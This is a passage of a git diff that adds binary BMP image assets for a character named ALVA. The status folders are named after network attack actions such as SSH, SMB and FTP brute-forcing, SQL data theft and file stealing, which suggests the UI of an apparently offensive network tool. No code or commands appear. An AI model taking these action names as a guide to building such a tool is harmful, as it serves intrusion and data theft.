b/resources/default_config/characters/ALVA/static/data.bmp differ diff --git a/resources/default_config/characters/ALVA/static/ethernet.bmp b/resources/default_config/characters/ALVA/static/ethernet.bmp new file mode 100644 index 0000000..c5e20d8 Binary files /dev/null and b/resources/default_config/characters/ALVA/static/ethernet.bmp differ diff --git a/resources/default_config/characters/ALVA/static/frise.bmp b/resources/default_config/characters/ALVA/static/frise.bmp new file mode 100644 index 0000000..1729551 Binary files /dev/null and b/resources/default_config/characters/ALVA/static/frise.bmp differ diff --git a/resources/default_config/characters/ALVA/static/gold.bmp b/resources/default_config/characters/ALVA/static/gold.bmp new file mode 100644 index 0000000..c729f59 Binary files /dev/null and b/resources/default_config/characters/ALVA/static/gold.bmp differ diff --git a/resources/default_config/characters/ALVA/static/level.bmp b/resources/default_config/characters/ALVA/static/level.bmp new file mode 100644 index 0000000..42f2a68 Binary files /dev/null and b/resources/default_config/characters/ALVA/static/level.bmp differ diff --git a/resources/default_config/characters/ALVA/static/manual.bmp b/resources/default_config/characters/ALVA/static/manual.bmp new file mode 100644 index 0000000..0c1954d Binary files /dev/null and b/resources/default_config/characters/ALVA/static/manual.bmp differ diff --git a/resources/default_config/characters/ALVA/static/money.bmp b/resources/default_config/characters/ALVA/static/money.bmp new file mode 100644 index 0000000..cd3a033 Binary files /dev/null and b/resources/default_config/characters/ALVA/static/money.bmp differ diff --git a/resources/default_config/characters/ALVA/static/networkkb.bmp b/resources/default_config/characters/ALVA/static/networkkb.bmp new file mode 100644 index 0000000..967d706 Binary files /dev/null and b/resources/default_config/characters/ALVA/static/networkkb.bmp differ diff --git a/resources/default_config/characters/ALVA/static/port.bmp b/resources/default_config/characters/ALVA/static/port.bmp new file mode 100644 index 0000000..0917334 Binary files /dev/null and b/resources/default_config/characters/ALVA/static/port.bmp differ diff --git a/resources/default_config/characters/ALVA/static/target.bmp b/resources/default_config/characters/ALVA/static/target.bmp new file mode 100644 index 0000000..9808765 Binary files /dev/null and b/resources/default_config/characters/ALVA/static/target.bmp differ diff --git a/resources/default_config/characters/ALVA/static/usb.bmp b/resources/default_config/characters/ALVA/static/usb.bmp new file mode 100644 index 0000000..5a13b47 Binary files /dev/null and b/resources/default_config/characters/ALVA/static/usb.bmp differ diff --git a/resources/default_config/characters/ALVA/static/vuln.bmp b/resources/default_config/characters/ALVA/static/vuln.bmp new file mode 100644 index 0000000..b8547b5 Binary files /dev/null and b/resources/default_config/characters/ALVA/static/vuln.bmp differ diff --git a/resources/default_config/characters/ALVA/static/wifi.bmp b/resources/default_config/characters/ALVA/static/wifi.bmp new file mode 100644 index 0000000..eb95ff9 Binary files /dev/null and b/resources/default_config/characters/ALVA/static/wifi.bmp differ diff --git a/resources/default_config/characters/ALVA/static/zombie.bmp b/resources/default_config/characters/ALVA/static/zombie.bmp new file mode 100644 index 0000000..4dfb112 Binary files /dev/null and b/resources/default_config/characters/ALVA/static/zombie.bmp differ diff --git a/resources/default_config/characters/ALVA/status/BerserkerForce/BerserkerForce.bmp b/resources/default_config/characters/ALVA/status/BerserkerForce/BerserkerForce.bmp new file mode 100644 index 0000000..e8f452c Binary files /dev/null and b/resources/default_config/characters/ALVA/status/BerserkerForce/BerserkerForce.bmp differ diff --git a/resources/default_config/characters/ALVA/status/FTPBruteforce/FTPBruteforce.bmp b/resources/default_config/characters/ALVA/status/FTPBruteforce/FTPBruteforce.bmp new file mode 100644 index 0000000..26a80ce Binary files /dev/null and b/resources/default_config/characters/ALVA/status/FTPBruteforce/FTPBruteforce.bmp differ diff --git a/resources/default_config/characters/ALVA/status/FTPBruteforce/FTPBruteforce1.bmp b/resources/default_config/characters/ALVA/status/FTPBruteforce/FTPBruteforce1.bmp new file mode 100644 index 0000000..378babe Binary files /dev/null and b/resources/default_config/characters/ALVA/status/FTPBruteforce/FTPBruteforce1.bmp differ diff --git a/resources/default_config/characters/ALVA/status/IDLE/IDLE.bmp b/resources/default_config/characters/ALVA/status/IDLE/IDLE.bmp new file mode 100644 index 0000000..45583cb Binary files /dev/null and b/resources/default_config/characters/ALVA/status/IDLE/IDLE.bmp differ diff --git a/resources/default_config/characters/ALVA/status/IDLE/IDLE1.bmp b/resources/default_config/characters/ALVA/status/IDLE/IDLE1.bmp new file mode 100644 index 0000000..ae02811 Binary files /dev/null and b/resources/default_config/characters/ALVA/status/IDLE/IDLE1.bmp differ diff --git a/resources/default_config/characters/ALVA/status/IDLE/IDLE2.bmp b/resources/default_config/characters/ALVA/status/IDLE/IDLE2.bmp new file mode 100644 index 0000000..fe026b5 Binary files /dev/null and b/resources/default_config/characters/ALVA/status/IDLE/IDLE2.bmp differ diff --git a/resources/default_config/characters/ALVA/status/IDLE/IDLE3.bmp b/resources/default_config/characters/ALVA/status/IDLE/IDLE3.bmp new file mode 100644 index 0000000..f8ce050 Binary files /dev/null and b/resources/default_config/characters/ALVA/status/IDLE/IDLE3.bmp differ diff --git a/resources/default_config/characters/ALVA/status/IDLE/IDLE4.bmp b/resources/default_config/characters/ALVA/status/IDLE/IDLE4.bmp new file mode 100644 index 0000000..25f8b4c Binary files /dev/null and b/resources/default_config/characters/ALVA/status/IDLE/IDLE4.bmp differ diff --git a/resources/default_config/characters/ALVA/status/NetworkScanner/NetworkScanner.bmp b/resources/default_config/characters/ALVA/status/NetworkScanner/NetworkScanner.bmp new file mode 100644 index 0000000..45a466f Binary files /dev/null and b/resources/default_config/characters/ALVA/status/NetworkScanner/NetworkScanner.bmp differ diff --git a/resources/default_config/characters/ALVA/status/NetworkScanner/NetworkScanner1.bmp b/resources/default_config/characters/ALVA/status/NetworkScanner/NetworkScanner1.bmp new file mode 100644 index 0000000..939dc2e Binary files /dev/null and b/resources/default_config/characters/ALVA/status/NetworkScanner/NetworkScanner1.bmp differ diff --git a/resources/default_config/characters/ALVA/status/NetworkScanner/NetworkScanner2.bmp b/resources/default_config/characters/ALVA/status/NetworkScanner/NetworkScanner2.bmp new file mode 100644 index 0000000..1bed73c Binary files /dev/null and b/resources/default_config/characters/ALVA/status/NetworkScanner/NetworkScanner2.bmp differ diff --git a/resources/default_config/characters/ALVA/status/NetworkScanner/NetworkScanner3.bmp b/resources/default_config/characters/ALVA/status/NetworkScanner/NetworkScanner3.bmp new file mode 100644 index 0000000..35cc8c5 Binary files /dev/null and b/resources/default_config/characters/ALVA/status/NetworkScanner/NetworkScanner3.bmp differ diff --git a/resources/default_config/characters/ALVA/status/NetworkScanner/NetworkScanner4.bmp b/resources/default_config/characters/ALVA/status/NetworkScanner/NetworkScanner4.bmp new file mode 100644 index 0000000..2883594 Binary files /dev/null and b/resources/default_config/characters/ALVA/status/NetworkScanner/NetworkScanner4.bmp differ diff --git a/resources/default_config/characters/ALVA/status/NetworkScanner/NetworkScanner5.bmp b/resources/default_config/characters/ALVA/status/NetworkScanner/NetworkScanner5.bmp new file mode 100644 index 0000000..2bd1847 Binary files /dev/null and b/resources/default_config/characters/ALVA/status/NetworkScanner/NetworkScanner5.bmp differ diff --git a/resources/default_config/characters/ALVA/status/NetworkScanner/NetworkScanner6.bmp b/resources/default_config/characters/ALVA/status/NetworkScanner/NetworkScanner6.bmp new file mode 100644 index 0000000..643b052 Binary files /dev/null and b/resources/default_config/characters/ALVA/status/NetworkScanner/NetworkScanner6.bmp differ diff --git a/resources/default_config/characters/ALVA/status/NetworkScanner/NetworkScanner7.bmp b/resources/default_config/characters/ALVA/status/NetworkScanner/NetworkScanner7.bmp new file mode 100644 index 0000000..2742da4 Binary files /dev/null and b/resources/default_config/characters/ALVA/status/NetworkScanner/NetworkScanner7.bmp differ diff --git a/resources/default_config/characters/ALVA/status/NetworkScanner/NetworkScanner8.bmp b/resources/default_config/characters/ALVA/status/NetworkScanner/NetworkScanner8.bmp new file mode 100644 index 0000000..eaa2472 Binary files /dev/null and b/resources/default_config/characters/ALVA/status/NetworkScanner/NetworkScanner8.bmp differ diff --git a/resources/default_config/characters/ALVA/status/NmapVulnScanner/NmapVulnScanner.bmp b/resources/default_config/characters/ALVA/status/NmapVulnScanner/NmapVulnScanner.bmp new file mode 100644 index 0000000..dadf656 Binary files /dev/null and b/resources/default_config/characters/ALVA/status/NmapVulnScanner/NmapVulnScanner.bmp differ diff --git a/resources/default_config/characters/ALVA/status/NmapVulnScanner/NmapVulnScanner1.bmp b/resources/default_config/characters/ALVA/status/NmapVulnScanner/NmapVulnScanner1.bmp new file mode 100644 index 0000000..939dc2e Binary files /dev/null and b/resources/default_config/characters/ALVA/status/NmapVulnScanner/NmapVulnScanner1.bmp differ diff --git a/resources/default_config/characters/ALVA/status/NmapVulnScanner/NmapVulnScanner2.bmp b/resources/default_config/characters/ALVA/status/NmapVulnScanner/NmapVulnScanner2.bmp new file mode 100644 index 0000000..1bed73c Binary files /dev/null and b/resources/default_config/characters/ALVA/status/NmapVulnScanner/NmapVulnScanner2.bmp differ diff --git a/resources/default_config/characters/ALVA/status/NmapVulnScanner/NmapVulnScanner3.bmp b/resources/default_config/characters/ALVA/status/NmapVulnScanner/NmapVulnScanner3.bmp new file mode 100644 index 0000000..35cc8c5 Binary files /dev/null and b/resources/default_config/characters/ALVA/status/NmapVulnScanner/NmapVulnScanner3.bmp differ diff --git a/resources/default_config/characters/ALVA/status/NmapVulnScanner/NmapVulnScanner4.bmp b/resources/default_config/characters/ALVA/status/NmapVulnScanner/NmapVulnScanner4.bmp new file mode 100644 index 0000000..2883594 Binary files /dev/null and b/resources/default_config/characters/ALVA/status/NmapVulnScanner/NmapVulnScanner4.bmp differ diff --git a/resources/default_config/characters/ALVA/status/NmapVulnScanner/NmapVulnScanner5.bmp b/resources/default_config/characters/ALVA/status/NmapVulnScanner/NmapVulnScanner5.bmp new file mode 100644 index 0000000..2bd1847 Binary files /dev/null and b/resources/default_config/characters/ALVA/status/NmapVulnScanner/NmapVulnScanner5.bmp differ diff --git a/resources/default_config/characters/ALVA/status/NmapVulnScanner/NmapVulnScanner6.bmp b/resources/default_config/characters/ALVA/status/NmapVulnScanner/NmapVulnScanner6.bmp new file mode 100644 index 0000000..643b052 Binary files /dev/null and b/resources/default_config/characters/ALVA/status/NmapVulnScanner/NmapVulnScanner6.bmp differ diff --git a/resources/default_config/characters/ALVA/status/NmapVulnScanner/NmapVulnScanner7.bmp b/resources/default_config/characters/ALVA/status/NmapVulnScanner/NmapVulnScanner7.bmp new file mode 100644 index 0000000..2742da4 Binary files /dev/null and b/resources/default_config/characters/ALVA/status/NmapVulnScanner/NmapVulnScanner7.bmp differ diff --git a/resources/default_config/characters/ALVA/status/NmapVulnScanner/NmapVulnScanner8.bmp b/resources/default_config/characters/ALVA/status/NmapVulnScanner/NmapVulnScanner8.bmp new file mode 100644 index 0000000..eaa2472 Binary files /dev/null and b/resources/default_config/characters/ALVA/status/NmapVulnScanner/NmapVulnScanner8.bmp differ diff --git a/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce.bmp b/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce.bmp new file mode 100644 index 0000000..f8a5393 Binary files /dev/null and b/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce.bmp differ diff --git a/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce1.bmp b/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce1.bmp new file mode 100644 index 0000000..378babe Binary files /dev/null and b/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce1.bmp differ diff --git a/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce10.bmp b/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce10.bmp new file mode 100644 index 0000000..a6cd3fb Binary files /dev/null and b/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce10.bmp differ diff --git a/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce11.bmp b/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce11.bmp new file mode 100644 index 0000000..9616013 Binary files /dev/null and b/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce11.bmp differ diff --git a/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce12.bmp b/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce12.bmp new file mode 100644 index 0000000..1848bb0 Binary files /dev/null and b/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce12.bmp differ diff --git a/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce13.bmp b/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce13.bmp new file mode 100644 index 0000000..a473218 Binary files /dev/null and b/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce13.bmp differ diff --git a/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce2.bmp b/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce2.bmp new file mode 100644 index 0000000..b68803a Binary files /dev/null and b/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce2.bmp differ diff --git a/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce3.bmp b/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce3.bmp new file mode 100644 index 0000000..13eaf41 Binary files /dev/null and b/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce3.bmp differ diff --git a/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce4.bmp b/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce4.bmp new file mode 100644 index 0000000..580b967 Binary files /dev/null and b/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce4.bmp differ diff --git a/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce5.bmp b/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce5.bmp new file mode 100644 index 0000000..68fe849 Binary files /dev/null and b/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce5.bmp differ diff --git a/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce6.bmp b/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce6.bmp new file mode 100644 index 0000000..c7b26b5 Binary files /dev/null and b/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce6.bmp differ diff --git a/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce7.bmp b/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce7.bmp new file mode 100644 index 0000000..474c315 Binary files /dev/null and b/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce7.bmp differ diff --git a/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce8.bmp b/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce8.bmp new file mode 100644 index 0000000..353d54a Binary files /dev/null and b/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce8.bmp differ diff --git a/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce9.bmp b/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce9.bmp new file mode 100644 index 0000000..33ab580 Binary files /dev/null and b/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce9.bmp differ diff --git a/resources/default_config/characters/ALVA/status/SQLBruteforce/SQLBruteforce.bmp b/resources/default_config/characters/ALVA/status/SQLBruteforce/SQLBruteforce.bmp new file mode 100644 index 0000000..9db4d23 Binary files /dev/null and b/resources/default_config/characters/ALVA/status/SQLBruteforce/SQLBruteforce.bmp differ diff --git a/resources/default_config/characters/ALVA/status/SQLBruteforce/SQLBruteforce1.bmp b/resources/default_config/characters/ALVA/status/SQLBruteforce/SQLBruteforce1.bmp new file mode 100644 index 0000000..378babe Binary files /dev/null and b/resources/default_config/characters/ALVA/status/SQLBruteforce/SQLBruteforce1.bmp differ diff --git a/resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce.bmp b/resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce.bmp new file mode 100644 index 0000000..f7c8c88 Binary files /dev/null and b/resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce.bmp differ diff --git a/resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce1.bmp b/resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce1.bmp new file mode 100644 index 0000000..378babe Binary files /dev/null and b/resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce1.bmp differ diff --git a/resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce10.bmp b/resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce10.bmp new file mode 100644 index 0000000..c7b26b5 Binary files /dev/null and b/resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce10.bmp differ diff --git a/resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce11.bmp b/resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce11.bmp new file mode 100644 index 0000000..474c315 Binary files /dev/null and b/resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce11.bmp differ diff --git a/resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce12.bmp b/resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce12.bmp new file mode 100644 index 0000000..353d54a Binary files /dev/null and b/resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce12.bmp differ diff --git a/resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce13.bmp b/resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce13.bmp new file mode 100644 index 0000000..33ab580 Binary files /dev/null and b/resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce13.bmp differ diff --git a/resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce2.bmp b/resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce2.bmp new file mode 100644 index 0000000..a6cd3fb Binary files /dev/null and b/resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce2.bmp differ diff --git a/resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce3.bmp b/resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce3.bmp new file mode 100644 index 0000000..9616013 Binary files /dev/null and b/resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce3.bmp differ diff --git a/resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce4.bmp b/resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce4.bmp new file mode 100644 index 0000000..1848bb0 Binary files /dev/null and b/resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce4.bmp differ diff --git a/resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce5.bmp b/resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce5.bmp new file mode 100644 index 0000000..a473218 Binary files /dev/null and b/resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce5.bmp differ diff --git a/resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce6.bmp b/resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce6.bmp new file mode 100644 index 0000000..b68803a Binary files /dev/null and b/resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce6.bmp differ diff --git a/resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce7.bmp b/resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce7.bmp new file mode 100644 index 0000000..13eaf41 Binary files /dev/null and b/resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce7.bmp differ diff --git a/resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce8.bmp b/resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce8.bmp new file mode 100644 index 0000000..580b967 Binary files /dev/null and b/resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce8.bmp differ diff --git a/resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce9.bmp b/resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce9.bmp new file mode 100644 index 0000000..68fe849 Binary files /dev/null and b/resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce9.bmp differ diff --git a/resources/default_config/characters/ALVA/status/StealDataSQL/StealDataSQL.bmp b/resources/default_config/characters/ALVA/status/StealDataSQL/StealDataSQL.bmp new file mode 100644 index 0000000..1c81cf6 Binary files /dev/null and b/resources/default_config/characters/ALVA/status/StealDataSQL/StealDataSQL.bmp differ diff --git a/resources/default_config/characters/ALVA/status/StealDataSQL/StealDataSQL1.bmp b/resources/default_config/characters/ALVA/status/StealDataSQL/StealDataSQL1.bmp new file mode 100644 index 0000000..378babe Binary files /dev/null and b/resources/default_config/characters/ALVA/status/StealDataSQL/StealDataSQL1.bmp differ diff --git a/resources/default_config/characters/ALVA/status/StealDataSQL/StealDataSQL10.bmp b/resources/default_config/characters/ALVA/status/StealDataSQL/StealDataSQL10.bmp new file mode 100644 index 0000000..580b967 Binary files /dev/null and b/resources/default_config/characters/ALVA/status/StealDataSQL/StealDataSQL10.bmp differ diff --git a/resources/default_config/characters/ALVA/status/StealDataSQL/StealDataSQL2.bmp b/resources/default_config/characters/ALVA/status/StealDataSQL/StealDataSQL2.bmp new file mode 100644 index 0000000..c7b26b5 Binary files /dev/null and b/resources/default_config/characters/ALVA/status/StealDataSQL/StealDataSQL2.bmp differ diff --git a/resources/default_config/characters/ALVA/status/StealDataSQL/StealDataSQL3.bmp b/resources/default_config/characters/ALVA/status/StealDataSQL/StealDataSQL3.bmp new file mode 100644 index 0000000..474c315 Binary files /dev/null and b/resources/default_config/characters/ALVA/status/StealDataSQL/StealDataSQL3.bmp differ diff --git a/resources/default_config/characters/ALVA/status/StealDataSQL/StealDataSQL4.bmp b/resources/default_config/characters/ALVA/status/StealDataSQL/StealDataSQL4.bmp new file mode 100644 index 0000000..33ab580 Binary files /dev/null and b/resources/default_config/characters/ALVA/status/StealDataSQL/StealDataSQL4.bmp differ diff --git a/resources/default_config/characters/ALVA/status/StealDataSQL/StealDataSQL5.bmp b/resources/default_config/characters/ALVA/status/StealDataSQL/StealDataSQL5.bmp new file mode 100644 index 0000000..a6cd3fb Binary files /dev/null and b/resources/default_config/characters/ALVA/status/StealDataSQL/StealDataSQL5.bmp differ diff --git a/resources/default_config/characters/ALVA/status/StealDataSQL/StealDataSQL6.bmp b/resources/default_config/characters/ALVA/status/StealDataSQL/StealDataSQL6.bmp new file mode 100644 index 0000000..1848bb0 Binary files /dev/null and b/resources/default_config/characters/ALVA/status/StealDataSQL/StealDataSQL6.bmp differ diff --git a/resources/default_config/characters/ALVA/status/StealDataSQL/StealDataSQL7.bmp b/resources/default_config/characters/ALVA/status/StealDataSQL/StealDataSQL7.bmp new file mode 100644 index 0000000..a473218 Binary files /dev/null and b/resources/default_config/characters/ALVA/status/StealDataSQL/StealDataSQL7.bmp differ diff --git a/resources/default_config/characters/ALVA/status/StealDataSQL/StealDataSQL8.bmp b/resources/default_config/characters/ALVA/status/StealDataSQL/StealDataSQL8.bmp new file mode 100644 index 0000000..b68803a Binary files /dev/null and b/resources/default_config/characters/ALVA/status/StealDataSQL/StealDataSQL8.bmp differ diff --git a/resources/default_config/characters/ALVA/status/StealDataSQL/StealDataSQL9.bmp b/resources/default_config/characters/ALVA/status/StealDataSQL/StealDataSQL9.bmp new file mode 100644 index 0000000..13eaf41 Binary files /dev/null and b/resources/default_config/characters/ALVA/status/StealDataSQL/StealDataSQL9.bmp differ diff --git a/resources/default_config/characters/ALVA/status/StealFilesFTP/StealFilesFTP.bmp b/resources/default_config/characters/ALVA/status/StealFilesFTP/StealFilesFTP.bmp new file mode 100644 index 0000000..ad53291 Binary files /dev/null and b/resources/default_config/characters/ALVA/status/StealFilesFTP/StealFilesFTP.bmp differ diff --git a/resources/default_config/characters/ALVA/status/StealFilesFTP/StealFilesFTP1.bmp b/resources/default_config/characters/ALVA/status/StealFilesFTP/StealFilesFTP1.bmp new file mode 100644 index 0000000..378babe Binary files /dev/null and b/resources/default_config/characters/ALVA/status/StealFilesFTP/StealFilesFTP1.bmp differ diff --git a/resources/default_config/characters/ALVA/status/StealFilesSMB/StealFilesSMB.bmp b/resources/default_config/characters/ALVA/status/StealFilesSMB/StealFilesSMB.bmp new file mode 100644 index 0000000..ad53291 Binary files /dev/null and b/resources/default_config/characters/ALVA/status/StealFilesSMB/StealFilesSMB.bmp differ diff --git a/resources/default_config/characters/ALVA/status/StealFilesSMB/StealFilesSMB1.bmp b/resources/default_config/characters/ALVA/status/StealFilesSMB/StealFilesSMB1.bmp new file mode 100644 index 0000000..378babe Binary files /dev/null and b/resources/default_config/characters/ALVA/status/StealFilesSMB/StealFilesSMB1.bmp differ diff --git a/resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH.bmp b/resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH.bmp new file mode 100644 index 0000000..ad53291 Binary files /dev/null and b/resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH.bmp differ diff --git a/resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH1.bmp b/resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH1.bmp new file mode 100644 index 0000000..378babe Binary files /dev/null and b/resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH1.bmp differ diff --git a/resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH10.bmp b/resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH10.bmp new file mode 100644 index 0000000..b68803a Binary files /dev/null and b/resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH10.bmp differ diff --git a/resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH11.bmp b/resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH11.bmp new file mode 100644 index 0000000..13eaf41 Binary files /dev/null and b/resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH11.bmp differ diff --git a/resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH12.bmp b/resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH12.bmp new file mode 100644 index 0000000..580b967 Binary files /dev/null and b/resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH12.bmp differ diff --git a/resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH13.bmp b/resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH13.bmp new file mode 100644 index 0000000..68fe849 Binary files /dev/null and b/resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH13.bmp differ diff --git a/resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH2.bmp b/resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH2.bmp new file mode 100644 index 0000000..c7b26b5 Binary files /dev/null and b/resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH2.bmp differ diff --git a/resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH3.bmp b/resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH3.bmp new file mode 100644 index 0000000..474c315 Binary files /dev/null and b/resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH3.bmp differ diff --git a/resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH4.bmp b/resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH4.bmp new file mode 100644 index 0000000..353d54a Binary files /dev/null and b/resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH4.bmp differ diff --git a/resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH5.bmp b/resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH5.bmp new file mode 100644 index 0000000..33ab580 Binary files /dev/null and b/resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH5.bmp differ diff --git a/resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH6.bmp b/resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH6.bmp new file mode 100644 index 0000000..a6cd3fb Binary files /dev/null and b/resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH6.bmp differ diff --git a/resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH7.bmp b/resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH7.bmp new file mode 100644 index 0000000..9616013 Binary files /dev/null and b/resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH7.bmp differ diff --git a/resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH8.bmp b/resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH8.bmp new file mode 100644 index 0000000..1848bb0 Binary files /dev/null and b/resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH8.bmp differ diff --git a/resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH9.bmp b/resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH9.bmp new file mode 100644 index 0000000..a473218 Binary files /dev/null and b/resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH9.bmp differ diff --git a/resources/default_config/characters/ALVA/status/StealFilesTelnet/StealFilesTelnet.bmp b/resources/default_config/characters/ALVA/status/StealFilesTelnet/StealFilesTelnet.bmp new file mode 100644 index 0000000..ad53291 Binary files /dev/null and b/resources/default_config/characters/ALVA/status/StealFilesTelnet/StealFilesTelnet.bmp differ diff --git a/resources/default_config/characters/ALVA/status/StealFilesTelnet/StealFilesTelnet1.bmp b/resources/default_config/characters/ALVA/status/StealFilesTelnet/StealFilesTelnet1.bmp new file mode 100644 index 0000000..378babe Binary files /dev/null and b/resources/default_config/characters/ALVA/status/StealFilesTelnet/StealFilesTelnet1.bmp differ diff --git 